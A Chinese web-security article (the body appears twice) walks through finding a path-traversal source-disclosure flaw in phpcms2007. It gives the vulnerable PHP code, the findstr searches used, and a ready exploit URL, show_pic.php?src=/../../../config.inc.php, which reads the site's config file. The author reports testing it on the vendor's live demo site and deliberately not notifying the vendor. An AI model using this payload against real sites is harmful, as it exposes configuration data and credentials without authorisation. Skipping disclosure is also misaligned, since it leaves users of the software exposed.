關(guān)于簡(jiǎn)單的php源代碼泄露漏洞的發(fā)掘
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 21:26:46 作者:佚名
我要評(píng)論

我們知道在asp中出現(xiàn)得最多的還是sql注入,不過(guò)在php中由于magic_quotes_gpc為on的情況下特殊字符會(huì)被轉(zhuǎn)義,所以即使有很多時(shí)候存在sql注入也無(wú)法利用。但是php強(qiáng)大的文件操作功能卻使我們能體會(huì)到在asp中無(wú)法體會(huì)的樂(lè)趣,我想php自帶的文件操作函數(shù)能讓你為之心跳加快~~
我們知道在asp中出現(xiàn)得最多的還是sql注入,不過(guò)在php中由于magic_quotes_gpc為on的情況下特殊字符會(huì)被轉(zhuǎn)義,所以即使有很多時(shí)候存在sql注入也無(wú)法利用。但是php強(qiáng)大的文件操作功能卻使我們能體會(huì)到在asp中無(wú)法體會(huì)的樂(lè)趣,我想php自帶的文件操作函數(shù)能讓你為之心跳加快~~嘿嘿
這次我發(fā)掘的是phpcms2007的源代碼泄露漏洞
再次向Phpcms2007的開(kāi)源行為致敬??!
開(kāi)始吧,
findstr /s /n /i readfile *.php >readfile.txt (結(jié)果我只給出有用的)
其他的文件操作函數(shù)可以自己定義查找
module\picture\show_pic.inc.php:8:readfile($file);
跟進(jìn)這個(gè)文件看看吧,呵呵,比較小,我喜歡
[Copy to clipboard] [ - ]CODE:
<?php
defined(’IN_PHPCMS’) or exit(’Access Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/common.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。 先包含文件/module/’.$mod.’/include/common.inc.php 如果存在變量$src則賦予它路徑并把值交給變量$file 然后就是就進(jìn)入if 這里我不看其他的文件簡(jiǎn)單猜測(cè)下應(yīng)該是判斷url路徑來(lái)源,也就是防盜鏈的功能 然后就header()一個(gè)圖片頭 呵呵,輕輕松松就readfile($file); 可以看出它沒(méi)有判斷$src的文件類(lèi)型,如果我們提交一個(gè)src=*.php也會(huì)被readfile 好吧,在這里漏洞是出現(xiàn)了 不過(guò)由于“defined(’IN_PHPCMS’) or exit(’Access Denied’);”,所以我們是無(wú)法直接利用這個(gè)漏洞文件的 只能是在其他包含這個(gè)文件的php文件中利用 繼續(xù)吧 [Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
進(jìn)去看看 [Copy to clipboard] [ - ]CODE:
<?php
require "./config.inc.php";
require "../include/common.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals為on的話就可以直接利用這個(gè)文件讀取目標(biāo)文件了
那就測(cè)試吧 官方是演示站是 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就這樣構(gòu)造url [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,讀取的就是網(wǎng)站的配置文件 直接訪問(wèn) [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜測(cè)沒(méi)錯(cuò)!! 那我們可以先訪問(wèn)http://demo.phpcms.cn/抓包 用nc發(fā)包 get選項(xiàng)就設(shè)置為 [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
這里我就用刺猬的一個(gè)post提交工具代替了 測(cè)試結(jié)果如圖 ok,就分析到這里了 希望大家不要利用這個(gè)做違法的事,嘿嘿??! 偶是壞孩子,不通知官方了~·好孩子去通知下。
<?php
defined(’IN_PHPCMS’) or exit(’Access Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/common.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。 先包含文件/module/’.$mod.’/include/common.inc.php 如果存在變量$src則賦予它路徑并把值交給變量$file 然后就是就進(jìn)入if 這里我不看其他的文件簡(jiǎn)單猜測(cè)下應(yīng)該是判斷url路徑來(lái)源,也就是防盜鏈的功能 然后就header()一個(gè)圖片頭 呵呵,輕輕松松就readfile($file); 可以看出它沒(méi)有判斷$src的文件類(lèi)型,如果我們提交一個(gè)src=*.php也會(huì)被readfile 好吧,在這里漏洞是出現(xiàn)了 不過(guò)由于“defined(’IN_PHPCMS’) or exit(’Access Denied’);”,所以我們是無(wú)法直接利用這個(gè)漏洞文件的 只能是在其他包含這個(gè)文件的php文件中利用 繼續(xù)吧 [Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
進(jìn)去看看 [Copy to clipboard] [ - ]CODE:
<?php
require "./config.inc.php";
require "../include/common.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals為on的話就可以直接利用這個(gè)文件讀取目標(biāo)文件了
那就測(cè)試吧 官方是演示站是 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就這樣構(gòu)造url [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,讀取的就是網(wǎng)站的配置文件 直接訪問(wèn) [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜測(cè)沒(méi)錯(cuò)!! 那我們可以先訪問(wèn)http://demo.phpcms.cn/抓包 用nc發(fā)包 get選項(xiàng)就設(shè)置為 [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
這里我就用刺猬的一個(gè)post提交工具代替了 測(cè)試結(jié)果如圖 ok,就分析到這里了 希望大家不要利用這個(gè)做違法的事,嘿嘿??! 偶是壞孩子,不通知官方了~·好孩子去通知下。
相關(guān)文章
我們不知道的秘密? 黑客可以使用硬件破解GSM A5加密算法
以前我們都是在使用基于早期信號(hào)標(biāo)準(zhǔn)的GSM手機(jī),這也是當(dāng)前應(yīng)用最為廣泛的移動(dòng)電話標(biāo)準(zhǔn),但是大家可能還不知道,現(xiàn)在專(zhuān)業(yè)的黑客可以只需要使用三張NVIDIA GeForce GTX690顯2016-11-06- 我們來(lái)看一下以前比較精典的一個(gè)溢出實(shí)例ms04011溢出: Microsoft Windows XP [版本 5.1.2600] (C) 版權(quán)所有 1985-2001 Microsoft Corp. C:windowssystem32cd C2008-10-08
- 今晚群里朋友叫看個(gè)站,有sql防注入,繞不過(guò),但是有發(fā)現(xiàn)記錄wrong的文件sqlin.asp。2012-05-15
- 我看暴庫(kù)漏洞原理及規(guī)律 SQL注入流行很久了,我們找漏洞注入目的無(wú)非是想得到數(shù)據(jù)庫(kù)內(nèi)的東西,比如用戶名密碼等,更進(jìn)一步的MSSQL數(shù)據(jù)庫(kù)還可以借此獲得權(quán)限?;贏ccess2008-10-08
- 近期發(fā)現(xiàn)adobe.com,internet.com,nike.com,等等著名站點(diǎn)都分分遭受到攻擊,但攻擊者所使用的技術(shù)并不是以往所使用的入侵WEB服務(wù)器,更改主頁(yè)的慣用手法,攻擊者使用的是一2008-10-08
- FCKeditor的JSP版漏洞 http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFol2009-04-20
- 1.安裝完軟件,打開(kāi)后: 2.按照?qǐng)D中點(diǎn)選正確的設(shè)置,填寫(xiě)上你自己找到的代理IP地址,端口,或者帳號(hào)和密碼: 3.(這一步看情況定:有的代理不要2008-10-08
- 軟件名稱(chēng):Pstools 運(yùn)行平臺(tái):Windows 軟件授權(quán):免費(fèi)軟件 軟件大?。?50KB 下面我用一個(gè)實(shí)例來(lái)講解這個(gè)命令的使用。假設(shè)我要對(duì)192.168.0.8計(jì)算機(jī)進(jìn)行2009-07-05
WordPress自動(dòng)更新漏洞:超1/4網(wǎng)站可被黑客一舉擊潰
最近大部分的WordPress網(wǎng)站都受到影響,主要的原因就是WordPress的自動(dòng)更新功能造成的,因此全球超1/4的網(wǎng)站被黑2016-11-29